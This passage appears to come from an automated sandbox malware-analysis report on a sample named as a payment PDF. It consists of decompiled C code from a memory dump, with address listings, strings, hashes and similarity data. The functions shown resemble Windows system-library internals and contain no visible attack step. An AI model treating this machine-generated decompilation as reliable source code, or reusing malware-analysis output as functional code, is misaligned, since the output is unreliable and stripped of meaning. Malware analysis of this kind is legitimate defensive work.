								_push(0x26);
								E334B4580();
							}
							_push(0x60);
							_push("true");
							_push( &_v1428);
							_push( &_v1452);
							_push(0x100021);
							_push( &_v1480);
							_t74 = L334B2CE0();
							__eflags = _t74;
							if(_t74 < 0) {
								goto L54;
							} else {
								_push(_v1480);
								_v1484 = _v1484 & 0x00000000;
								_push(0x1000000);
								_push(0x10);
								_push(0);
								_push(0);
								_push(0xd);
								_push( &_v1484);
								_t137 = E334B2E50();
								__eflags = _t137;
								if(_t137 < 0) {
									L47:
									_push(_v1480);
									E334B2A80();
									__eflags = _v1488;
									if(_v1488 != 0) {
										_push(_v1484);
										E334B2A80();
									}
									__eflags = _t137;
									if(_t137 < 0) {
										_t96 =  *0x335668d0; // 0x0
										__eflags = _t96;
										if(_t96 != 0) {
											_push(_t96);
											_push(0xffffffff);
											L334B2C50();
											 *0x335668d0 =  *0x335668d0 & 0x00000000;
											__eflags =  *0x335668d0;
										}
									}
									_t74 = _t137;
									goto L54;
								}
								_t150 =  *[fs:0x18];
								_t138 = 0;
								_push("true");
								_push(0);
								_t159 =  *(_t150 + 0x14);
								_push("true");
								 *(_t150 + 0x14) = _v1488;
								_push( &_v1472);
								_push(0);
								_push(0);
								_push(0);
								_push(0x335668d0);
								_push(0xffffffff);
								_push(_v1484);
								_v1472 = 0;
								_t101 = E334B2C30();
								__eflags = _t101 - 0x40000003;
								if(__eflags == 0) {
									_t140 =  *0x335668d0; // 0x0
									_t166 = _t166 - 0xc;
									E334F11C1(0, _t140, _t150, _t159, __eflags);
								}
								__eflags = L3347B920(_t140,  *0x335668d0);
								if(__eflags != 0) {
									_t160 = _t138;
									_t151 = 0x334419c0;
									while(1) {
										_t65 = _t151 + 4; // 0x0
										_t146 =  *_t151;
										_t143 =  *0x335668d0; // 0x0
										_t137 = E334662A0(_t143,  *_t151, __eflags, _t138,  *_t65);
										__eflags = _t137;
										if(_t137 < 0) {
											break;
										}
										_t160 = _t160 + 1;
										_t151 = _t151 + 8;
										__eflags = _t160 - 0xd;
										if(_t160 < 0xd) {
											_t138 = 0;
											__eflags = 0;
											continue;
										}
										_t152 =  *0x335669d0; // 0x0
										__eflags =  *_t152 -  *0x33569248; // 0xf0
										if(__eflags == 0) {
											_t144 = 0x3c;
											memcpy(_t152, 0x33569248, _t144 << 2);
											_t166 = _t166 + 0xc;
											_t107 =  *0x335669c0; // 0x0
											 *_t107 = 1;
											_t108 =  *0x33566994; // 0x0
											 *_t108 = E33482130;
											_t109 =  *0x335669a4; // 0x0
											 *_t109 = 0x334b4880;
											_t110 =  *0x335669c8; // 0x0
											 *_t110 = 0x334b49a0;
											_t111 =  *0x335669b8; // 0x0
											 *_t111 = E334B4A50;
										} else {
											_t137 = 0xc0000059;
										}
										goto L47;
									}
									__eflags = _t160;
									if(_t160 == 0) {
										goto L47;
									} else {
										goto L46;
									}
									do {
										L46:
										_t67 = _t151 + 4; // 0x335668e0
										 *( *_t67) =  *( *_t67) & 0x00000000;
										_t160 = _t160 - 1;
										__eflags = _t160;
									} while (_t160 != 0);
								} else {
									_t137 = 0xc000007b;
								}
								goto L47;
							}
						} else {
							goto L13;
						}
						while(1) {
							L13:
							_t162 = _v1496;
							_t140 =  *( *[fs:0x30] + 0x18);
							__eflags = _t140;
							if(_t140 == 0) {
								break;
							}
							_t118 =  *0x33565d78; // 0x0
							_t139 = L33485D90(_t140, _t140, _t118 + 0x180000, _v1496);
							__eflags = _t139;
							if(_t139 == 0) {
								break;
							}
							_t149 = _t139;
							_push( &_v1496);
							_push(_t162);
							_push(_t139);
							_push("true");
							_push( &_v1468);
							_push(_v1476);
							_t163 = E334B2B00();
							__eflags = _t163;
							if(_t163 >= 0) {
								L6:
								_t124 =  *((intOrPtr*)(_t149 + 4));
								__eflags = _t124 - 3;
								if(_t124 == 3) {
									L21:
									__eflags = _t124 - 1;
									if(_t124 != 1) {
										L11:
										_t158 = 0xc0000024;
										L25:
										__eflags = _t139;
										if(_t139 != 0) {
											E33483BC0( *( *[fs:0x30] + 0x18), 0, _t139);
										}
										_t74 = _t158;
										goto L28;
									}
									_v1496 =  *((intOrPtr*)(_t149 + 8));
									__eflags =  *((intOrPtr*)(_t149 + 8)) - 0x80;
									if( *((intOrPtr*)(_t149 + 8)) > 0x80) {
										L24:
										_t158 = 0x80000005;
										goto L25;
									}
									_push( *((intOrPtr*)(_t149 + 8)));
									L20:
									_t17 = _t149 + 0xc; // 0xc
									_push( &_v396);
									L334B88C0();
									_t166 = _t166 + 0xc;
									goto L25;
								}
								__eflags = _t124 - 7;
								if(_t124 == 7) {
									goto L21;
								}
								__eflags = _t124 - 4;
								if(_t124 == 4) {
									goto L11;
								}
								__eflags = _t124 - 0xb;
								if(_t124 == 0xb) {
									goto L11;
								}
								__eflags = _t124 - 1;
								if(_t124 == 1) {
									_t131 =  *((intOrPtr*)(_t149 + 8));
									_v1496 = _t131;
									__eflags = _t131 - 0x80;
									if(_t131 > 0x80) {
										goto L24;
									}
									_push(_t131);
									goto L20;
								}
								goto L11;
							}
							__eflags = _t163 - 0x80000005;
							if(_t163 != 0x80000005) {
								goto L25;
							}
							E33483BC0( *( *[fs:0x30] + 0x18), 0, _t139);
						}
						_t74 = 0xc0000017;
						goto L54;
					}
					_t139 = 0;
					__eflags = 0;
					goto L6;
				} else {
					_t74 = 0;
					L54:
					_pop(_t148);
					_pop(_t156);
					_pop(_t136);
					return E334B4B50(_t74, _t136, _v8 ^ _t166, _t146, _t148, _t156);
				}
			}

0x334f330c
0x334f330c
0x334f3314
0x334f3321
0x334f3331
0x334f3334
0x334f3338
0x334f3341
0x334f3346
0x334f3348
0x00000000
0x00000000
0x334f3358
0x334f335f
0x334f3361
0x00000000
0x00000000
0x334f336b
0x334f336c
0x334f3371
0x334f3377
0x334f3378
0x334f337e
0x334f337f
0x334f3380
0x334f3385
0x334f3387
0x334f3389
0x334f33bf
0x334f33c5
0x334f349c
0x334f349c
0x334f349e
0x00000000
0x00000000
0x334f34a4
0x334f34ae
0x334f34ba
0x334f34c8
0x334f34db
0x334f34ed
0x334f34f2
0x334f34f4
0x00000000
0x00000000
0x334f34fa
0x334f3503
0x334f3508
0x334f350d
0x334f3511
0x334f3517
0x334f351f
0x334f3527
0x334f352e
0x334f3534
0x334f3536
0x334f3538
0x334f3540
0x334f3542
0x334f354a
0x334f354c
0x334f354d
0x334f354f
0x334f354f
0x334f3554
0x334f3556
0x334f355c
0x334f3561
0x334f3562
0x334f356b
0x334f356c
0x334f3571
0x334f3573
0x00000000
0x334f3579
0x334f3579
0x334f357d
0x334f3586
0x334f358b
0x334f358d
0x334f358f
0x334f3591
0x334f3593
0x334f3599
0x334f359b
0x334f359d
0x334f3699
0x334f3699
0x334f369d
0x334f36a2
0x334f36a7
0x334f36a9
0x334f36ad
0x334f36ad
0x334f36b2
0x334f36b4
0x334f36b6
0x334f36bb
0x334f36bd
0x334f36bf
0x334f36c0
0x334f36c2
0x334f36c7
0x334f36c7
0x334f36c7
0x334f36bd
0x334f36ce
0x00000000
0x334f36ce
0x334f35a3
0x334f35aa
0x334f35b0
0x334f35b2
0x334f35b3
0x334f35b6
0x334f35b8
0x334f35bf
0x334f35c0
0x334f35c1
0x334f35c2
0x334f35c3
0x334f35c8
0x334f35ca
0x334f35ce
0x334f35d2
0x334f35da
0x334f35df
0x334f35e1
0x334f35e7
0x334f35ea
0x334f35ea
0x334f35fa
0x334f35fc
0x334f3608
0x334f360a
0x334f3613
0x334f3613
0x334f3616
0x334f3618
0x334f3624
0x334f3626
0x334f3628
0x00000000
0x00000000
0x334f362a
0x334f362b
0x334f362e
0x334f3631
0x334f3611
0x334f3611
0x00000000
0x334f3611
0x334f3633
0x334f363b
0x334f3641
0x334f364c
0x334f3652
0x334f3652
0x334f3654
0x334f3659
0x334f365c
0x334f3661
0x334f3667
0x334f366c
0x334f3672
0x334f3677
0x334f367d
0x334f3682
0x334f3643
0x334f3643
0x334f3643
0x00000000
0x334f3641
0x334f368a
0x334f368c
0x00000000
0x00000000
0x00000000
0x00000000
0x334f368e
0x334f368e
0x334f368e
0x334f3691
0x334f3694
0x334f3694
0x334f3694
0x334f35fe
0x334f35fe
0x334f35fe
0x00000000
0x334f35fc
0x00000000
0x00000000
0x00000000
0x334f33cb
0x334f33cb
0x334f33cb
0x334f33d5
0x334f33d8
0x334f33da
0x00000000
0x00000000
0x334f33e0
0x334f33f5
0x334f33f7
0x334f33f9
0x00000000
0x00000000
0x334f3403
0x334f3405
0x334f3406
0x334f3407
0x334f3408
0x334f340e
0x334f340f
0x334f3418
0x334f341a
0x334f341c
0x334f338d
0x334f338d
0x334f3390
0x334f3393
0x334f3462
0x334f3462
0x334f3465
0x334f33b5
0x334f33b5
0x334f3485
0x334f3485
0x334f3487
0x334f3495
0x334f3495
0x334f349a
0x00000000
0x334f349a
0x334f346e
0x334f3472
0x334f3479
0x334f3480
0x334f3480
0x00000000
0x334f3480
0x334f347b
0x334f344c
0x334f344c
0x334f3457
0x334f3458
0x334f345d
0x00000000
0x334f345d
0x334f3399
0x334f339c
0x00000000
0x00000000
0x334f33a2
0x334f33a5
0x00000000
0x00000000
0x334f33a7
0x334f33aa
0x00000000
0x00000000
0x334f33ac
0x334f33af
0x334f343d
0x334f3440
0x334f3444
0x334f3449
0x00000000
0x00000000
0x334f344b
0x00000000
0x334f344b
0x00000000
0x334f33af
0x334f3422
0x334f3428
0x00000000
0x00000000
0x334f3436
0x334f3436
0x334f36d2
0x00000000
0x334f36d2
0x334f338b
0x334f338b
0x00000000
0x334f333a
0x334f333a
0x334f36d7
0x334f36de
0x334f36df
0x334f36e0
0x334f36eb
0x334f36eb

Strings

DelegatedNtdll, xrefs: 334F334E
\SystemRoot\system32\, xrefs: 334F34C2
@, xrefs: 334F351F

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 337997cd078f0625beacc662b7293c57a7d40892b465c2d6cbaec5964b2b4d0f
Instruction ID: cf117eebd6b32337e3908211043d29788c3ccc96d96454e0c0fcfe777571b99b
Opcode Fuzzy Hash: 337997cd078f0625beacc662b7293c57a7d40892b465c2d6cbaec5964b2b4d0f
Instruction Fuzzy Hash: 07B1B0B1605301AFE711DF54C880F5BB7E8EB44754F48092DFA909B390EB72E805CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 3346A147 Relevance: 4.0, Strings: 3, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E3346A147(signed int* __ecx, char* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				short _v578;
				char _v580;
				signed int _v584;
				intOrPtr _v586;
				char _v588;
				char* _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				char* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				char _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				char* _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t96;
				char* _t101;
				intOrPtr _t120;
				intOrPtr _t125;
				short _t129;
				signed int* _t140;
				intOrPtr _t141;
				intOrPtr _t146;
				intOrPtr _t148;
				intOrPtr _t151;
				signed int _t153;
				signed int _t154;
				void* _t155;
				signed int _t157;

				_t152 = __edx;
				_v12 =  *0x3356b370 ^ _t157;
				_v564 = _v564 & 0x00000000;
				_t154 = _a4;
				_t140 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t153 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(L33491D10( &_v580, L"UseFilter") < 0) {
					L4:
					return E334B4B50(_t90, _t140, _v12 ^ _t157, _t152, _t153, _t154);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push("true");
				_pop(_t94);
				_push( &_v580);
				_push( *_t140);
				_t90 = E334B2B00();
				if(_t90 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t90 = 0;
					} else {
						_t96 =  *_t154;
						_t154 =  *(_t154 + 4);
						_v588 = _t96;
						_v584 = _t154;
						if(L33491D10( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(E334A40F0( &_v560,  &_v580,  &_v588, ?str?) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t154 + 8;
						}
						_t101 =  &_v560;
						_t146 = 0;
						_v596 = _t101;
						_v600 = 0;
						do {
							_t152 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t101);
							_push(0);
							_push(_t146);
							_push( *_t140);
							_t154 = L334B2CD0();
							if(_t154 < 0) {
								goto L37;
							}
							_t148 = _v596;
							_v580 =  *((intOrPtr*)(_t148 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t148 + 0xc));
							_v576 = _t148 + 0x10;
							_v636 =  *_t140;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t154 = L334B2AB0();
							if(_t154 < 0) {
								goto L37;
							}
							_t154 = L33491D10( &_v580, L"FilterFullPath");
							if(_t154 < 0) {
								L36:
								_push(_v564);
								E334B2A80();
								goto L37;
							}
							_t141 = _v592;
							_t120 = _v568;
							do {
								_push( &_v572);
								_push(_t120);
								_push(_t141);
								_push("true");
								_pop(_t121);
								_push( &_v580);
								_push(_v564);
								_t155 = E334B2B00();
								if(_t155 == 0x80000005 || _t155 == 0xc0000023) {
									if(_t153 != 0) {
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t153);
									}
									_t150 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
									if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
										_t125 =  *0x33565d78; // 0x0
										_t153 = L33485D90(_t150, _t150, _t125 + 0x180000, _v572);
										if(_t153 == 0) {
											goto L25;
										}
										_t120 = _v572;
										_t141 = _t153;
										_v596 = _t153;
										_v568 = _t120;
										goto L27;
									} else {
										_t153 = 0;
										L25:
										_t154 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t120 = _v568;
								}
								L27:
							} while (_t154 == 0x80000005 || _t154 == 0xc0000023);
							_v592 = _t141;
							_t140 = _v608;
							if(_t154 >= 0) {
								_t151 = _v592;
								if( *((intOrPtr*)(_t151 + 4)) == 1 &&  *((intOrPtr*)(_t151 + 8)) <= 0xfffe) {
									_push("true");
									_pop(_t152);
									_t129 =  *((intOrPtr*)(_t151 + 8)) - _t152;
									_v616 = _t129;
									_v614 = _t129;
									_v612 = _t151 + 0xc;
									if(E334904C0( &_v588,  &_v616, ?str?) == 0) {
										break;
									}
								}
								goto L36;
							}
							_push(_v564);
							E334B2A80();
							_t65 = _t154 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t154 = _t154 &  ~_t65;
							L37:
							_t101 = _v596;
							_t146 = _v600 + 1;
							_v600 = _t146;
						} while (_t154 >= 0);
						if(_t153 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t153);
						}
						if(_t154 >= 0) {
							_push( *_t140);
							E334B2A80();
							 *_t140 = _v564;
						}
						_t86 = _t154 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t90 =  ~_t86 & _t154;
					}
					goto L4;
				}
				if(_t90 != 0xc0000034) {
					if(_t90 == 0xc0000023) {
						goto L3;
					}
					if(_t90 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x3346a147
0x3346a159
0x3346a15c
0x3346a16b
0x3346a16e
0x3346a17c
0x3346a183
0x3346a189
0x3346a18b
0x3346a195
0x3346a1a2
0x3346a1de
0x3346a1ec
0x3346a1ec
0x3346a1aa
0x3346a1ab
0x3346a1b6
0x3346a1b7
0x3346a1b9
0x3346a1c1
0x3346a1c2
0x3346a1c4
0x3346a1cb
0x334cbf43
0x3346a1dc
0x3346a1dc
0x334cbf62
0x334cbf62
0x334cbf64
0x334cbf67
0x334cbf79
0x334cbf86
0x00000000
0x00000000
0x334cbfa3
0x334cbfaa
0x334cbfb1
0x334cbfbb
0x334cbfbb
0x334cbfc1
0x334cbfc7
0x334cbfc9
0x334cbfcf
0x334cbfd5
0x334cbfd5
0x334cbfdb
0x334cbfdc
0x334cbfe2
0x334cbfe3
0x334cbfe5
0x334cbfe6
0x334cbfed
0x334cbff1
0x00000000
0x00000000
0x334cbff7
0x334cc001
0x334cc00c
0x334cc013
0x334cc01a
0x334cc024
0x334cc02c
0x334cc038
0x334cc044
0x334cc045
0x334cc051
0x334cc05b
0x334cc05c
0x334cc06b
0x334cc06f
0x00000000
0x00000000
0x334cc086
0x334cc08a
0x334cc1ba
0x334cc1ba
0x334cc1c0
0x00000000
0x334cc1c0
0x334cc090
0x334cc096
0x334cc09c
0x334cc0a2
0x334cc0a3
0x334cc0a4
0x334cc0a5
0x334cc0a7
0x334cc0af
0x334cc0b0
0x334cc0bb
0x334cc0c3
0x334cc0cf
0x334cc0dd
0x334cc0dd
0x334cc0e8
0x334cc0ed
0x334cc138
0x334cc14f
0x334cc153
0x00000000
0x00000000
0x334cc155
0x334cc15b
0x334cc15d
0x334cc163
0x00000000
0x334cc0ef
0x334cc0ef
0x334cc0f1
0x334cc0f1
0x00000000
0x334cc0f1
0x334cc0f6
0x334cc0f6
0x334cc0f6
0x334cc0f6
0x334cc0fc
0x334cc0fc
0x334cc10c
0x334cc112
0x334cc11a
0x334cc16b
0x334cc175
0x334cc184
0x334cc186
0x334cc187
0x334cc18a
0x334cc191
0x334cc19b
0x334cc1b8
0x00000000
0x00000000
0x334cc1b8
0x00000000
0x334cc175
0x334cc11c
0x334cc122
0x334cc127
0x334cc12f
0x334cc131
0x334cc1c5
0x334cc1cb
0x334cc1d1
0x334cc1d2
0x334cc1d8
0x334cc1e2
0x334cc1f0
0x334cc1f0
0x334cc1f7
0x334cc1f9
0x334cc1fb
0x334cc206
0x334cc206
0x334cc208
0x334cc210
0x334cc212
0x334cc212
0x00000000
0x334cbf43
0x3346a1d6
0x334cbf26
0x00000000
0x00000000
0x334cbf31
0x00000000
0x00000000
0x334cbf37
0x00000000

Strings

UseFilter, xrefs: 3346A171
\??\, xrefs: 334CBF73
FilterFullPath, xrefs: 334CC075

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 4a1317c55562a5266f8460772bd6f5bfe6e819fb98319d7052cb47dcc4dbc9fd
Instruction ID: 909a5526c3f8f83ad1fdc121f3e2a497b71511675a7cf2423ca5e9486ee89fbd
Opcode Fuzzy Hash: 4a1317c55562a5266f8460772bd6f5bfe6e819fb98319d7052cb47dcc4dbc9fd
Instruction Fuzzy Hash: 3EA15B75D01669AFDB21DF64CC88BDAB7B8EF04704F1041EAE908A7250DB359E85CF98

Uniqueness

Uniqueness Score: -1.00%

Function 334F7090 Relevance: 4.0, Strings: 3, Instructions: 233
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E334F7090(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t121;
				signed int _t124;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				signed int _t137;
				signed int _t141;
				signed int _t143;
				signed int _t155;
				signed int _t159;
				signed int _t161;
				signed int* _t164;
				signed int _t171;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t176;
				signed int _t179;
				void* _t180;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t186;
				signed int _t188;
				signed int _t189;
				void* _t190;
				void* _t192;
				short _t193;
				intOrPtr _t195;
				signed int _t199;
				void* _t201;
				void* _t203;
				void* _t205;

				_push(0x6c);
				_push(0x3354cd18);
				E334C7BE4(__ebx, __edi, __esi);
				 *(_t201 - 0x24) = 0xc0000001;
				_t195 =  *((intOrPtr*)(_t201 + 8));
				 *((intOrPtr*)(_t195 + 0x4c)) =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_push("true");
				_pop(_t180);
				_t164 = L334F79B8(_t195, _t180);
				if(_t164 != 0) {
					 *_t164 =  *_t164 & 0x00000000;
					 *(_t195 + 0x38) = _t164;
					L3347FED0(0x33564800);
					 *(_t201 - 4) =  *(_t201 - 4) & 0x00000000;
					_push("true");
					_t199 = L33517ABE(_t164, 0x334f7c20, _t195, _t195, __esi, __eflags);
					 *(_t201 - 0x24) = _t199;
					__eflags = _t199;
					if(_t199 < 0) {
						_t82 = _t195 + 0x38;
						 *_t82 =  *(_t195 + 0x38) & 0x00000000;
						__eflags =  *_t82;
						goto L32;
					} else {
						__eflags =  *(_t195 + 0x20) & 0x00000008;
						if(( *(_t195 + 0x20) & 0x00000008) == 0) {
							L32:
							__eflags = _t199;
							if(_t199 >= 0) {
								__eflags =  *(_t195 + 0x20) & 0x00000210;
								if(( *(_t195 + 0x20) & 0x00000210) != 0) {
									 *(_t201 - 0x7c) =  *(_t201 - 0x7c) | 0xffffffff;
									 *(_t201 - 0x78) =  *(_t195 + 0x40);
									 *((intOrPtr*)(_t201 - 0x70)) = E334F8250;
									 *((intOrPtr*)(_t201 - 0x6c)) = _t201 - 0x50;
									__eflags =  *(_t195 + 0x20) & 0x00000010;
									_t124 = 0;
									 *((intOrPtr*)(_t201 - 0x74)) = 3 + (_t124 & 0xffffff00 | ( *(_t195 + 0x20) & 0x00000010) != 0x00000000) * 2;
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									 *((intOrPtr*)(_t201 - 0x50)) =  *((intOrPtr*)(_t201 + 8));
									 *(_t201 - 0x4c) = _t164;
									_t106 = _t201 - 0x48;
									 *_t106 =  *(_t201 - 0x48) & 0x00000000;
									__eflags =  *_t106;
									 *(_t201 - 0x44) =  &(_t164[1]);
									_push(0);
									_push(0x2c);
									_push(_t201 - 0x7c);
									_push("true");
									_push(0);
									_t199 = L33516EF0(_t164, _t201 - 0x50, _t199,  *_t106);
									goto L35;
								}
							}
						} else {
							_t132 =  *0x33566d3c; // 0x0
							 *(_t201 - 0x2c) = _t132;
							__eflags = _t132;
							if(_t132 == 0) {
								L9:
								_t133 = 0;
								__eflags = 0;
								while(1) {
									 *(_t201 - 0x30) = _t133;
									__eflags = _t133 -  *_t164;
									if(_t133 >=  *_t164) {
										goto L32;
									}
									_t171 = _t133 << 6;
									 *(_t201 - 0x3c) = _t171;
									_t182 =  *(_t195 + 0x40);
									__eflags = _t182;
									if(_t182 == 0) {
										L13:
										_t134 =  *( &(_t164[1]) + _t171);
										 *(_t201 - 0x2c) = _t134;
										_t183 =  *(_t134 + 0x84) & 0x0000ffff;
										 *(_t201 - 0x34) = _t183;
										 *( &(_t164[6]) + _t171) = _t183;
										_t184 = _t183 << 6;
										 *(_t201 - 0x1c) = _t184;
										 *(_t201 - 0x38) = _t184;
										__eflags =  *(_t134 + 0xbc);
										if( *(_t134 + 0xbc) != 0) {
											 *( &(_t164[6]) + _t171) =  *(_t201 - 0x34) + 0x81;
											_t184 = _t184 + 0x2040;
											__eflags = _t184;
											 *(_t201 - 0x1c) = _t184;
											 *(_t201 - 0x38) = _t184;
										}
										_t173 = L334F79B8(_t195, _t184);
										 *(_t201 - 0x20) = _t173;
										__eflags = _t173;
										if(_t173 == 0) {
											goto L7;
										} else {
											L334B8F40(_t173, 0,  *(_t201 - 0x1c));
											_t205 = _t203 + 0xc;
											_t174 =  *(_t201 - 0x20);
											_t137 =  *(_t201 - 0x3c);
											 *( &(_t164[0xf]) + _t137) = _t174;
											_t186 =  *( *(_t201 - 0x2c) + 0xbc);
											 *(_t201 - 0x1c) = _t186;
											 *(_t201 - 0x40) = _t186;
											__eflags = _t186;
											if(_t186 != 0) {
												 *((intOrPtr*)( &(_t164[8]) + _t137)) = 0x81;
												 *((intOrPtr*)( &(_t164[9]) + _t137)) = 8;
												_t189 = 0;
												__eflags = 0;
												 *(_t201 - 0x28) = 0;
												_t143 =  *(_t201 - 0x1c);
												while(1) {
													__eflags = _t189 - 0x80;
													if(_t189 > 0x80) {
														goto L26;
													}
													 *_t174 =  *_t143;
													 *((intOrPtr*)(_t174 + 4)) =  *((intOrPtr*)( *(_t201 - 0x1c) + 4));
													 *(_t174 + 8) =  *( *(_t201 - 0x1c) + 8) << 3;
													 *((short*)(_t174 + 0xc)) = _t189 | 0x00008000;
													_t176 = _t174 + 0x10;
													__eflags = _t189;
													if(_t189 != 0) {
														__eflags = _t189 - 0x80;
														if(_t189 >= 0x80) {
															_push(L"VirtualAlloc");
															_t190 = 0x30;
															L33495C3F(_t176, _t190);
														} else {
															_t155 = _t189 << 3;
															__eflags = _t155;
															_push(_t155);
															_push(L"Objects=%4u");
															goto L23;
														}
													} else {
														_push(0x400);
														_push(L"Objects>%4u");
														L23:
														_push(0x30);
														_push(_t176);
														E334F776B();
														_t205 = _t205 + 0x10;
													}
													_t174 =  *(_t201 - 0x20) + 0x40;
													 *(_t201 - 0x20) = _t174;
													_t143 =  *(_t201 - 0x1c) + 0xc;
													 *(_t201 - 0x1c) = _t143;
													 *(_t201 - 0x40) = _t143;
													_t189 =  *(_t201 - 0x28) + 1;
													 *(_t201 - 0x28) = _t189;
												}
											}
											L26:
											L334B8C00(_t174,  *((intOrPtr*)( *(_t201 - 0x2c) + 0x88)), ( *( *(_t201 - 0x2c) + 0x84) & 0x0000ffff) << 6);
											_t203 = _t205 + 0xc;
											_t188 = 0;
											__eflags = 0;
											 *(_t201 - 0x28) = 0;
											_t175 =  *(_t201 - 0x20);
											while(1) {
												_t141 =  *(_t201 - 0x2c);
												__eflags = _t188 - ( *(_t141 + 0x84) & 0x0000ffff);
												if(_t188 >= ( *(_t141 + 0x84) & 0x0000ffff)) {
													break;
												}
												 *(_t175 + 8) =  *(_t175 + 8) << 3;
												_t175 = _t175 + 0x40;
												 *(_t201 - 0x20) = _t175;
												_t188 = _t188 + 1;
												 *(_t201 - 0x28) = _t188;
											}
											_t133 =  *(_t201 - 0x30);
											goto L30;
										}
									} else {
										__eflags = _t182 -  *( &(_t164[1]) + _t171);
										if(_t182 !=  *( &(_t164[1]) + _t171)) {
											L30:
											_t133 = _t133 + 1;
											continue;
										} else {
											goto L13;
										}
									}
									goto L36;
								}
								goto L32;
							} else {
								__eflags =  *(_t132 + 0x88);
								if( *(_t132 + 0x88) == 0) {
									goto L9;
								} else {
									_t192 = 0x40;
									_t159 = L334F79B8(_t195, _t192);
									 *(_t201 - 0x1c) = _t159;
									__eflags = _t159;
									if(_t159 != 0) {
										L334B8F40(_t159, 0, 0x40);
										_t203 = _t203 + 0xc;
										_t161 =  *(_t201 - 0x2c);
										_t179 =  *(_t201 - 0x1c);
										 *_t179 = _t161;
										 *((intOrPtr*)(_t179 + 4)) =  *((intOrPtr*)(_t161 + 0x40));
										_push("true");
										_pop(_t193);
										 *((short*)(_t179 + 8)) = _t193;
										 *_t164 =  *_t164 + 1;
										__eflags =  *_t164;
										goto L9;
									} else {
										L7:
										_t199 = 0xc0000017;
										L35:
										 *(_t201 - 0x24) = _t199;
									}
								}
							}
						}
					}
					L36:
					 *(_t201 - 4) = 0xfffffffe;
					E334F7387();
					_t121 = _t199;
				} else {
					_t121 = 0xc0000017;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t201 - 0x10));
				return _t121;
			}

0x334f7090
0x334f7092
0x334f7097
0x334f709c
0x334f70ac
0x334f70af
0x334f70b2
0x334f70b4
0x334f70bc
0x334f70c0
0x334f70cc
0x334f70cf
0x334f70d7
0x334f70dc
0x334f70e0
0x334f70ee
0x334f70f0
0x334f70f3
0x334f70f5
0x334f72f6
0x334f72f6
0x334f72f6
0x00000000
0x334f70fb
0x334f70fb
0x334f70ff
0x334f72fa
0x334f72fa
0x334f72fc
0x334f72fe
0x334f7305
0x334f7307
0x334f730e
0x334f7311
0x334f731b
0x334f731e
0x334f7324
0x334f732f
0x334f7337
0x334f7338
0x334f7339
0x334f733a
0x334f733e
0x334f7341
0x334f7344
0x334f7344
0x334f7344
0x334f734b
0x334f734e
0x334f7350
0x334f7355
0x334f7356
0x334f7358
0x334f735f
0x00000000
0x334f735f
0x334f7305
0x334f7105
0x334f7105
0x334f710a
0x334f710d
0x334f710f
0x334f7159
0x334f7159
0x334f7159
0x334f715b
0x334f715b
0x334f715e
0x334f7160
0x00000000
0x00000000
0x334f7168
0x334f716b
0x334f716e
0x334f7171
0x334f7173
0x334f717f
0x334f717f
0x334f7183
0x334f7186
0x334f718d
0x334f7190
0x334f7194
0x334f7197
0x334f719a
0x334f719d
0x334f71a4
0x334f71ae
0x334f71b2
0x334f71b2
0x334f71b8
0x334f71bb
0x334f71bb
0x334f71c5
0x334f71c7
0x334f71ca
0x334f71cc
0x00000000
